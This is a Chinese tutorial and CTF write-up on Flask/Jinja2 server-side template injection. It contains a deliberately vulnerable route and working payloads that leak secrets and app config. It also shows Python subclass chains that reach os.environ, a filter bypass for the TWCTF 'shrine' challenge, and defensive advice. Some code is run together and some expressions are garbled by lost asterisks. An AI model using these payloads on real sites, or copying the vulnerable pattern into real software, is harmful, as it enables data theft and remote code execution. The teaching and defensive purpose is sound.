文章目录
- 第一章 Flask ssti漏洞的代码(长什么样子)
- 1.1 代码
- 1.2 正常测试
- 1.3 利用漏洞测试
- 1.3.1 获取字典中的密钥
- 1.3.2 获取整个person 字典中的内容
- 1.3.3 获取服务器端敏感的配置参数
- 1.4 预防敏感信息泄露
- 第二章 前言(基础知识储备)
- 2.1 flask基础
- 2.2 程序分析
- 2.3 注册路由
- 2.4 装饰器
- 2.5 本地运行程序
- 2.6 Flask变量规则
- 2.7 渲染方法
- 第三章 服务器端模板(SST)
- 3.1 为什么需要服务器端模板(SST)(why)
- 3.2 什么是服务器端模板(SST)(what)
- 第四章 服务器模板注入(SSTI)
- 4.1 什么是服务器模板注入
- 4.2 模板注入原理
- 4.3 模板注入检测
- 第五章 例子(CTF)
- 5.1 构造payload
- 5.2这个题目是TWCTF的题目,源码如下
- 第五章 如何防御服务器模板注入
- 参考资料
- 附录
第一章 Flask ssti漏洞的代码(长什么样子)
1.1 代码
from flask import Flask
from flask import request
from flask import render_template_string
from flask import render_templateapp = Flask(__name__)@app.route('/login')
def hello_ssti():person = {'name': 'hello','secret': '7d793037a0760186574b0282f2f435e7'}if request.args.get('name'):person['name'] = request.args.get('name')#获取查询参数name的值template = '<h2>Hello %s!</h2>' % person['name']return render_template_string(template, person=person)if __name__ == "__main__":app.run(debug=True)
1.2 正常测试
运行上面这段代码,并在浏览器中访问 http://127.0.0.1:5000/login ,显示的结果为:
然后我们尝试一些良性的输入,访问 http://127.0.0.1:5000/login?name =flask ,结果为:
渲染过程如下,render_tempalte()函数的第一个参数为渲染目标的HTML字符串、第二个参数为需要加载到字符串指定标签位置的内容:
其实render_template()的功能时先引入template,同时根据后门传入的参数,对template进行修改渲染
1.3 利用漏洞测试
1.3.1 获取字典中的密钥
下面演示一些攻击者的输入,比如访问 http://127.0.0.1:5000/ login?name=flask{{person.secret}} ,你会发现页面中除了显示了 Hello flask!之外,连同秘钥也一起被显示了。
1.3.2 获取整个person 字典中的内容
由于在模板中使用的是 % 字符串模板,所以它对任何传递给 python 表达式的内容进行了求值。在 Flask 模板语言中,我们传递了 {{person.secret}},它对字典 person 中保密的键值进行了求值,这泄露了应用程序的秘钥。
我们还可以执行更强大的攻击,访问 http://127.0.0.1:5000/ login?name={% for item in person %}{{item, person[item]}} {% end for%},你会发现整个 person 字典中的内容全被显示在页面中了。
如果不加{% endfor %},会报错
1.3.3 获取服务器端敏感的配置参数
即使攻击者想要获取服务器端敏感的配置参数,也可以通过 {{ config }} 的名称采纳数来获取,访问 http://127.0.0.1:5000/login?name= {{%20config%20}},你会发现服务器的配置显示在页面中了。
1.4 预防敏感信息泄露
那么如何避免敏感信息泄露呢?在这个情况下,解决的方法是使用模板中我们需要的特定变量,而不是直接使用 %s。 比如我们将 flask 代码改为:
from flask import Flask
from flask import request, render_template_string, render_templateapp = Flask(__name__)@app.route('/login')
def hello_ssti():person = {'name': 'world','secret': '7d793037a0760186574b0282f2f435e7'}if request.args.get('name'):person['name'] = request.args.get('name')template = '<h2>Hello {{ person.name }}!</h2>'return render_template_string(template, person=person)if __name__ == "__main__":app.run()
-
Serving Flask app “main” (lazy loading)
-
Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead. -
Debug mode: off
-
Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
然后我们在尝试访问 http://127.0.0.1:5000/login?name={{%20config%20}},你会发现显示的结果只是字符串 {{ config }},而没有服务器的敏感信息了。
第二章 前言(基础知识储备)
2.1 flask基础
Flask是一个用Python编写的Web应用程序框架。Flask基于Werkzeug WSGI工具包和Jinja2模板引擎。
WSGI
Web Server Gateway Interface(Web服务器网关接口,WSGI)已被用作Python Web应用程序开发的标准。 WSGI是Web服务器和Web应用程序之间通用接口的规范。
Werkzeug
它是一个WSGI工具包,它实现了请求,响应对象和实用函数。 这使得能够在其上构建web框架。 Flask框架使用Werkzeug作为其基础之一。
jinja2
jinja2是Python的一个流行的模板引擎。Web模板系统将模板与特定数据源组合以呈现动态网页。
在学习SSTI之前,先把flask的运作流程搞明白。这样有利用更快速的理解原理。
先看一段python代码,简单的实现了一个输出hello word的web程序。
#从Flask框架中导入Flask类
from flask import Flask传入_name_初始化一个Flask实例
app = Flask(__name__)这个路由将根URL映射到了hello_world函数上
@app.route("/") #route装饰器的作用是将函数与url绑定起来,这里的作用就是当访问http://127.0.0.1:5000/的时候,flask会返回hello word
def hello_world(): #定义视图函数return "<h1>Hello World!</h1>" #返回响应对象if __name__ == "__main__":#指定默认主机为是127.0.0.2,port为9999,默认是127.0.0.1:5555app.run(host="127.0.0.2",port=9999)
-
Serving Flask app “main” (lazy loading)
-
Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead. -
Debug mode: off
-
Running on http://127.0.0.2:9999/ (Press CTRL+C to quit)
127.0.0.1 - - [03/Jul/2020 16:30:15] “[37mGET / HTTP/1.1[0m” 200 -
127.0.0.1 - - [03/Jul/2020 16:30:15] “[33mGET /favicon.ico HTTP/1.1[0m” 404 –
输出结果:
hello world
2.2 程序分析
所有的Flask程序都必须创建一个程序实例。Web服务器使用一种名为Web服务器网关接口(Web Server Gateway Interface,WSGI)的协议,把接收自客户端的所有请求都转给这个对象进行处理。程序实例是Flask类的对象,经常使用下述代码创建:
from flask import Flask
app = Flask(__name__)
from flask import Flask这行代码表示从flask包导入Flask类,这个类表示一个Flask程序。实例化这个类,就得到我们的程序实例app;
app=Flask(__name__)这行代码表示传入__name__这个变量值来初始化Flask对象app,Flask用这个参数确定程序的根目录,__name__代表的是这个模块本身的名称。python会根据所处的模块来赋予_name_变量相应的值,对于特定的程序,比如(app.py),这个值为app。
2.3 注册路由
第一步:用户在浏览器输入URL访问某个资源;
第二步:Flask接受用户请求并分析请求的URL;
第三步:为这个URL找到对应的处理函数;
第四步:执行函数并生成响应,返回给浏览器;
第五步:浏览器接收并解析响应,将信息显示在页面中。
上面这些步骤中,大部分都由Flask完成,我们要做的只是建立处理请求的函数,并为其定义对应的URL规则。只需为函数附加app.route()装饰器,并传入URL规则作为参数,我们就可以让URL与函数建立关联。这个过程我们称之为注册路由,路由否则管理URL和函数之间的映射,而这个函数则称为视图函数。
路由的含义:顾名思义,“按照某线路发送”,即调用与请求URL对应的视图函数。
2.4 装饰器
Flask类的route()函数是一个装饰器,它告诉应用程序哪个URL应该调用相关的函数。
app.route(rule, options)
• rule 参数表示与该函数的URL绑定。
• options 是要转发给基础Rule对象的参数列表。
在上面的示例中,’/ ’ URL与hello_world()函数绑定。因此,当在浏览器中打开web服务器的主页时,将呈现该函数的输出。
比如修改rule
@app.route(‘/hello’)
def hello_world():return ‘hello world’
在这里,URL ‘/ hello’ 规则绑定到hello_world()函数。 因此,如果用户访问http:// localhost:5000 / hello URL,hello_world()函数的输出将在浏览器中呈现。
from flask import Flask
app=Flask(__name__)
@app.route('/hello')
def hello():return "hello world!"
if __name__=="__main__":app.run()
-
Serving Flask app “main” (lazy loading)
-
Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead. -
Debug mode: off
-
Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
2.5 本地运行程序
Flask类的run()方法在本地开发服务器上运行应用程序。
app.run(host, port, debug, options)
所有参数都是可选的
调试模式
通过调用run()方法启动Flask应用程序。但是,当应用程序正在开发中时,应该为代码中的每个更改手动重新启动它。为避免这种不便,请启用调试支持。如果代码更改,服务器将自行重新加载。它还将提供一个有用的调试器来跟踪应用程序中的错误(如果有的话)。
在运行或将调试参数传递给run()方法之前,通过将application对象的debug属性设置为True来启用Debug模式。
app.debug = True
app.run()
app.run(debug = True)
2.6 Flask变量规则
通过向规则参数添加变量部分,可以动态构建URL。此变量部分标记为。它作为关键字参数传递给与规则相关联的函数。
在以下示例中,route()装饰器的规则参数包含附加到URL '/hello’的。因此,如果在浏览器中输入http://127.0.0.1:5000/hello/humen作为URL ,则’humen’将作为参数提供给hello()函数。
from flask import Flask
app = Flask(__name__)@app.route('/hello/<name>')
def hello_name(name):return 'Hello %s!' % nameif __name__ == '__main__':app.run()
-
Serving Flask app “main” (lazy loading)
-
Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead. -
Debug mode: off
-
Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
2.7 渲染方法
2.7.1 模板与静态文件
一个完整的网站当然不能只返回用户一句“hello,world!",我们需要模板(template)和静态文件(static file)来生成更加丰富的网页。模板即包含程序页面的HTML文件,静态文件则是需要在HTML文件中加载的CSS和JavaScript文件,以及图片、字体文件等资源文件。默认情况下,模板文件存放在项目根目录中的templates文件中,静态文件存放在static文件夹下,这两个文件夹需要和包含程序实例的模块处于同一个目录下,对应的项目节格示例如下所示:
hello/- templates/- hello.html- static/- hello.js- hello.css- app.py
在下面的示例中,在index.html中的HTML按钮的OnClick事件上调用hello.js中定义的javascript函数,该函数在Flask应用程序的“/”URL上呈现。
from flask import Flask, render_template
app = Flask(__name__)@app.route("/")
def index():return render_template("index.html")if __name__ == '__main__':app.run(debug = True)
index.html的HTML脚本如下所示:
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><title>Title</title><script type = "text/javascript"src = "{{ url_for('static', filename = 'hello.js') }}" ></script></head><body><input type = "button" onclick = "sayHello()" value = "Say Hello" /></body></html>
Hello.js包含sayHello()函数。
function sayHello() {alert("Hello World")
}
flask模块的渲染方法有render_template和render_template_string两种。
2.7.2 render_template()
render_template()是用来渲染一个指定的文件的。使用如下
因为,从Python代码生成HTML内容很麻烦,尤其是在需要放置变量数据和Python语言元素(如条件或循环)时。这需要经常从HTML中转义。
这是可以利用Flask所基于的Jinja2模板引擎的地方。而不是从函数返回硬编码HTML,可以通过render_template()函数呈现HTML文件。
return render_template('index.html')
2.7.3 render_template_string()
render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。
html = '<h1>This is index page</h1>'
return render_template_string(html)
2.7.4 模版
flask是使用Jinja2来作为渲染引擎的。
Jinja2模板引擎使用以下分隔符从HTML转义。
• {% ... %}用于语句
• {{ ... }}用于表达式可以打印到模板输出
• {# ... #}用于未包含在模板输出中的注释
• #... ##用于行语句
在网站的根目录下新建templates文件夹,这里是用来存放html文件,也就是模板文件。
模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的。比如说显示用户名的地方,这个时候就需要使用模板支持的语法,来传参。
app.py内容如下:
from flask import Flask, render_template
app = Flask(__name__)
@app.route('/')
def hello_name():return render_template('hello.html',content="This is any page.")
if __name__ == "__main__":app.run()
/templates/hello.html的内容为:
<title>Title</title>
<h1>{{content}}</h1>
这里hello.html页面将输出 This is any page.
{{}}在Jinja2中作为变量包裹标识符。py代码里面可以给content变量传任意参数。
2.8 Flask Request对象
来自客户端网页的数据作为全局请求对象发送到服务器。为了处理请求数据,应该从Flask模块导入。
Request对象的重要属性如下所列:
• Form - 它是一个字典对象,包含表单参数及其值的键和值对。
• args - 解析查询字符串的内容,它是问号(?)之后的URL的一部分。
• Cookies - 保存Cookie名称和值的字典对象。
• files - 与上传文件有关的数据。
• method - 当前请求方法。
在渲染模板时,不需要手动分配,可以直接在模板中使用的模板变量及函数:config、request、url_for()、get_flashed_messages()
第三章 服务器端模板(SST)
3.1 为什么需要服务器端模板(SST)(why)
首先,下面的示例是一个为用户提供的源代码,通过分析下面的示例,来解释HTML与应用程序逻辑之间进行混合的弊端。
上述代码,不仅仅包括静态的HTML代码,还包括用户名和密码的输入,以及提交按钮。 当用户登录过这个网站,那么用户名和密码就从cookie中提取,并自动登陆。这样就有一个问题,必须以某种方式将值插入到HTML文件中。
通过一个错误的例子来解决上述问题
上述代码有很多问题
• 没有对用户的输入进行处理;
• HTML代码和PHP代码复杂的混合在一起,非常难以理解;
• 部分HTML代码分布在多个函数中;
• 尝试修改HTML代码中任何内容时(比如新增css类或修改HTML标签的顺序),会比较麻烦。
上述的代码虽然可以格式化进行优化,但是,在大型的代码库中,要求必须有良好的拓展性,所以即使代码格式良好,也会很快变得难以管理。这就是为什么我们需要模板。
总而言之,如果在一个页面中 php(其他代码) 代码与 html 代码混合在一起,在很多时候都会造成不便,用模板引擎可以让 php(其他代码) 代码和 html 代码进行分离。
3.2 什么是服务器端模板(SST)(what)
与上面混乱的代码相比,服务器端模板提供了一种更加简单的方法来管理动态生成的HTML代码。最大的优点就是你可以在服务器端动态生成HTML页面,看起来跟静态HTML页面一样。现在我们来看看,当我们使用服务器端模板时,复杂的代码看起来如何。
上述代码对于前面的代码在形式上有一个很大的改进。然而,这个示例代码仍然是静态的。为了显示正确的信息代替花括号占位符,这样就需要一个模板引擎来替换花括号占位符。后端代码如下下图所示:
这段代码的作用非常清楚,首先加载login.tpl模板文件,然后给模板中名称相同的变量赋值(大括号里的变量),然后,调用show()函数,相应地替换变量内容并输出HTML代码。然而,我们在模板中增加了新的功能,可以向用户展示模板渲染的时间。
3.3 为什么服务器端模板是危险的
SST 表面上看起来并没有什么危害,但是如果你仔细研究的话,会发现可以从模板内执行本机函数。这意味着,如果攻击者能够将这样的表达式写入模板文件,他们就可以有效地执行任意函数。但是这个文件不一定非要包含你的模板。这种情况下,模板引擎无论如何都会将文件转换为字符串,以便用它们的结果代替表达式。这也是为什么模板引擎允许你对它们进行传递字符串,而不 用直接传递文件位置。
接下来,可以将其和require()和eval()函数进行比较。require()函数会包含一个文件并执行,eval()函数不是执行文件,而是将字符串当成代码来执行。我们应该知道将未经处理的输入传递给eval()函数是极其危险的。每一本优秀的编程书都会反复的提到这一点。但是当涉及到处理模板引擎时,人们却通常忽略了这一点。所以,有时候,你看到的代码是下面这样的:
$templateEngine = new TemplateEngine();
$template = $templateEngine->loadString('<form method = {{method}} action = "'. $_SERVER['PHP_SELF'] . '">[...]</form>');
$template->assign('method','POST');
$template->show();
这段代码显示,在模板中,有一处输入是用户可控的,这就意味着用户可以执行模板表达式。
举个例子,恶意的表达式可能非常简单,比如[[system(‘whoami’)]],这就会执行系统命令whoami。因此模板注入很容易导致远程代码执行(RCE),就像未经过处理的输入直接传递为eval()函数一样。
第四章 服务器模板注入(SSTI)
4.1 什么是服务器模板注入
Server-Side Template Injection
SST 信任了用户的输入,并且执行这些内容,包括执行本机函数。就像 eval 函数对传入的内容未加任何过滤一样。因此模板注入很容易导致远程代码执行(RCE)、信息泄露等漏洞。
上述描述就是我们所说的服务器端模板注入(SSTI)。这个例子非常明显,而在实际中,漏洞会非常隐蔽,难以发现。比如将许多不同的组件连接在一起传递为模板引擎,但是忽视了其中的某些组件可能包含用户可控的输入。
4.2 模板注入原理
模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程,这里我们使用 Python 模版引擎Jinja2作为例子来说明模板注入产生的原理。考虑下面这段代码:
from flask import Flask
from flask import request
from flask import render_template_string
from flask import render_templateapp = Flask(__name__)@app.route('/login')
def hello_ssti():person = {'name': 'hello','secret': '7d793037a0760186574b0282f2f435e7'}if request.args.get('name'):person['name'] = request.args.get('name')#获取查询参数name的值template = '<h2>Hello {{ person.name }}!</h2>'return render_template_string(template, person=person)if __name__ == "__main__":app.run(debug=True)
使用Jinja2中的render_template_string模版引擎渲染页面,其中模版含有 {{ person.name }}变量,其模版变量值来自于 GET 请求参数 request.args.get(‘name’)。显然这段代码并没有什么问题,即使你想通过 name 参数传递一段 JavaScript 代码给服务端进行渲染,也许你会认为这里可以进行 XSS,但是由于模版引擎一般都默认对渲染的变量值进行编码和转义,所以并不会造成跨站脚本攻击:
但是,如果渲染的模版内容受到用户的控制,情况就不一样了。修改代码为:
from flask import Flask
from flask import request
from flask import render_template_string
from flask import render_templateapp = Flask(__name__)@app.route('/login')
def hello_ssti():person = {'name': 'hello','secret': '7d793037a0760186574b0282f2f435e7'}if request.args.get('name'):person['name'] = request.args.get('name')#获取查询参数name的值template = '<h2>Hello %s!</h2>' % person['name']# 插入到返回值return render_template_string(template, person=person)if __name__ == "__main__":app.run(debug=True)
上面这段代码在构建模版时,拼接了用户输入作为模板的内容,现在如果再向服务端直接传递 JavaScript 代码,用户输入会原样输出,测试结果显而易见:
对比上面两种情况,简单的说服务端模板注入的形成终究还是因为服务端相信了用户的输出而造成的(Web安全真谛:永远不要相信用户的输入!)。当然了,第二种情况下,攻击者不仅仅能插入JavaScript脚本,还能针对模板框架进行进一步的攻击,此部分只说明原理,在后面会对攻击利用进行详细说明和演示。
4.3 模板注入检测
上面已经讲明了模板注入的形成原来,现在就来谈谈对其进行检测和扫描的方法。如果服务端将用户的输入作为了模板的一部分,那么在页面渲染时也必定会将用户输入的内容进行模版编译和解析最后输出。
借用一下代码:
from flask import Flask
from flask import request
from flask import render_template_string
from flask import render_templateapp = Flask(__name__)@app.route('/login')
def hello_ssti():person = {'name': 'hello','secret': '7d793037a0760186574b0282f2f435e7'}if request.args.get('name'):person['name'] = request.args.get('name')#获取查询参数name的值template = '<h2>Hello %s!</h2>' % person['name']# 插入到返回值return render_template_string(template, person=person)if __name__ == "__main__":app.run(debug=True)
在 flask模板引擎里, {{ var }} 除了可以输出传递的变量以外,还能执行一些基本的表达式然后将其结果作为该模板变量的值,例如这里用户输入 name={{210}} ,则在服务端拼接的模版内容为:
Hello {{210}}!
flask 模板引擎在编译模板的过程中会计算 {{210}} 中的表达式 210 ,会将其返回值 20 作为模板变量的值输出,如下图:
现在把测试的数据改变一下,插入一些正常字符和Jinja2模板引擎默认的注释符,构造 Payload 为:
Humen{# comment #}{{28}}OK
实际服务端要进行编译的模板就被构造为:
Hello Humen{# comment #}{{28}}OK!
这里简单分析一下,由于 {# comment #} 作为Jinja2模板引擎的默认注释形式,所以在前端输出的时候并不会显示,而 {{2*8}} 作为模板变量最终会返回 16 作为其值进行显示,因此前端最终会返回内容 Hello Humen16OK !,如下图:
通过上面两个简单的示例,就能得到 SSTI 扫描检测的大致流程(这里以 Jinja2 为例):
同常规的 SQL 注入检测,XSS 检测一样,模板注入漏洞的检测也是向传递的参数中承载特定 Payload 并根据返回的内容来进行判断的。每一个模板引擎都有着自己的语法,Payload 的构造需要针对各类模板引擎制定其不同的扫描规则,就如同 SQL 注入中有着不同的数据库类型一样。
简单来说,就是更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,有解析则可以判定含有 Payload 对应模板引擎注入,否则不存在 SSTI。
第五章 例子(CTF)
在 CTF 中,最常见的也就是 Jinja2 的 SSTI 漏洞了,过滤不严,构造恶意数据提交达到读取flag 或 getshell 的目的。下面以 Python 为例:
Flask SSTI 题的基本思路就是利用 python 中的 魔术方法 找到自己要用的函数。
__dict__:保存类实例或对象实例的属性变量键值对字典
__class__:返回调用的参数类型
__mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。__bases__:返回类型列表__subclasses__:返回object的子类
__init__:类的初始化方法__globals__:函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
首先看一下类的dict属性和类对象的dict属性
class A(object):"""Class A."""a = 0b = 1def __init__(self):self.a = 2self.b = 3def test(self):print ('a normal func.')@staticmethoddef static_test(self):print ('a static func.')@classmethoddef class_test(self):print ('a calss func.')obj = A()
print ("类:", A.__dict__)
print ("对象:", obj.__dict__)
类: {'__module__': '__main__', '__doc__': '\n Class A.\n ', 'a': 0, 'b': 1, '__init__': <function A.__init__ at 0x000002573AD5A1E0>, 'test': <function A.test at 0x000002573AD5AF28>, 'static_test': <staticmethod object at 0x000002573AD4B780>, 'class_test': <classmethod object at 0x000002573AD4B7F0>, '__dict__': <attribute '__dict__' of 'A' objects>, '__weakref__': <attribute '__weakref__' of 'A' objects>}
对象: {'a': 2, 'b': 3}
由此可见, 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类dict里的
对象的dict中存储了一些self.xxx的一些东西
base 和 mro 都是用来寻找基类的。
from flask import request
for i in range(2):print(''.__class__.__mro__[i])print({}.__class__.__bases__[0])print(().__class__.__bases__[0])print([].__class__.__bases__[0])print(request.__class__.__mro__[i]) #针对jinjia2/flask为[9]适用
<class 'str'>
<class 'object'>
<class 'object'>
<class 'object'>
<class 'werkzeug.local.LocalProxy'>
<class 'object'>
<class 'object'>
<class 'object'>
<class 'object'>
<class 'object'>
5.1 构造payload
构造payload的大致思路是:找到父类–>寻找子类(可能存在对文件操作的类file)–>找关于命令执行或者文件操作的模块(os,sys,file,shutil, subprocess,configparser)
也就是通过python的对象的继承来一步步实现文件读取和命令执行的。
1.获取字符串的类对象(获取一个类):
'a'.__class__
str
2.寻找基类链,找到类
'a'.__class__.__mro__
(str, object)
3.寻找类的所有子类中可用的引用类
'a'.__class__.__mro__[1].__subclasses__()
[type,weakref,weakcallableproxy,weakproxy,int,bytearray,bytes,list,NoneType,NotImplementedType,traceback,super,range,dict,dict_keys,dict_values,dict_items,odict_iterator,set,str,slice,staticmethod,complex,float,frozenset,property,managedbuffer,memoryview,tuple,…………………………………__main__.Python,__main__.Python,__main__.Python,__main__.Python,__main__.Python,__main__.Python,__main__.Python]
没找到命令执行或者文件操作的模块
4.利用返回一个复数。
'a'.__class__.__mro__[1].__subclasses__()[22](1,2)
(1+2j)
5.2这个题目是TWCTF的题目,源码如下
import flask
import osapp = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')@app.route('/')
def index():return open(__file__).read()@app.route('/shrine/<path:shrine>')
def shrine(shrine):def safe_jinja(s):s = s.replace('(', '').replace(')', '')blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+sreturn flask.render_template_string(safe_jinja(shrine))if __name__ == '__main__':app.run(debug=True)
为了方便复现,增加了flag.txt文件,并将上述代码的第五行进行简单修改,修改如下:
app.config['FLAG'] =open('flag.txt').read()
限制:过滤了(),和关键字config,self。
Config
config为flask 类的配置文件内容,config为字典。如果不过滤config,显示如下
过滤以后的结果
self
self是类实例化对象,这里指app, dict:保存类实例或对象实例的属性变量键值对字典。
self在Python里不是关键字。self代表当前对象的地址。self能避免非限定调用造成的全局变量。
Python的类的方法和普通的函数有一个很明显的区别,在类的方法必须有个额外的第一个参数 (self ),但在调用这个方法的时候不必为这个参数赋值 (显胜于隐 的引发)。Python的类的方法的这个特别的参数指代的是对象本身,而按照Python的惯例,它用self来表示。(当然我们也可以用其他任何名称来代替,只是规范和标准在那建议我们一致使用self)
如果没有过滤(),则可以通过通过subclasses()结合基类找到os模块来泄露flag,类似
[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").__dict__.environ['FLAG']
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__'.("os").__dict__.environ['FLAG']
如果config,self不能使用,要获取配置信息,就必须从它的上部全局变量(访问配置current_app等)。
比如url_for和getflashed_messages的__globals中均含有current_app,那么获得current_app以后就可以直接访问config
url_for() 方法:
比如通过urlfor._globals[‘current_app’].config
url_for() 会返回视图函数对应的URL。如果定义的视图函数是带有参数的,则可以将这些参数作为命名参数传入。
get_flashed_messages() 方法:
返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
或者通过get_flashed_messages.__globals[‘current_app’].config
第五章 如何防御服务器模板注入
• 为了防止此类漏洞,你应该像使用eval()函数一样处理字符串加载功能。尽可能加载静态模板文件。
• 注意:我们已经确定此功能类似于require()函数调用。因此,你也应该防止本地文件包含(LFI)漏洞。不要允许用户控制此类文件或其内容的路径。
• 另外,无论在何时,如果需要将动态数据传递给模板,不要直接在模板文件中执行,你可以使用模板引擎的内置功能来扩展表达式,实现同样的效果。
参考资料
• 从零学习flask模板注入
• python-flask模块注入(SSTI)
• Flask(Jinja2) 服务端模板注入漏洞(SSTI)
• 钱游 Python Flask Web开发入门与项目实战
• Flask应用_w3cshool
• 服务器端模板注入(SSTI)
• Server-Side Template Injection Introduction & Example
• 常见的web攻击方式之服务器端模板注入
• 服务端模板注入攻击 (SSTI) 之浅析
• CTF|有关SSTI的一切小秘密【Flask SSTI+姿势集+Tplmap大杀器】
• Flask Web 开发实战:入门、进阶与原理分析/李辉著.-北京:机械工业出版社,2018.8(Web开发技术丛书)
• Python dict属性详解
附录
person = {
‘name’: ‘hello’,
‘secret’: ‘7d793037a0760186574b0282f2f435e7’
}
for item in person:
print(item,person[item])
name hello
secret 7d793037a0760186574b0282f2f435e7